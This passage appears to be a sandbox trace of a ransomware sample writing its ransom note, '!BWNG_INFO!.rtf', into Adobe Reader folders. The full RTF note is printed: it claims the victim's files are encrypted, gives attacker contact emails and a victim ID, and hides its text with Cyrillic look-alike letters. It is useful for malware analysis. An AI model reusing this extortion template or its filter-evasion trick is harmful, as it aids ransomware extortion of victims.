pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n3Ð\x8aU", lpUsedDefaultChar=0x0) returned 14086 [0034.398] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.399] CloseHandle (hObject=0x1d4) returned 1 [0034.399] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\!bwng_info!.rtf")) returned 0xffffffff [0034.399] GetLastError () returned 0x2 [0034.399] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0034.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 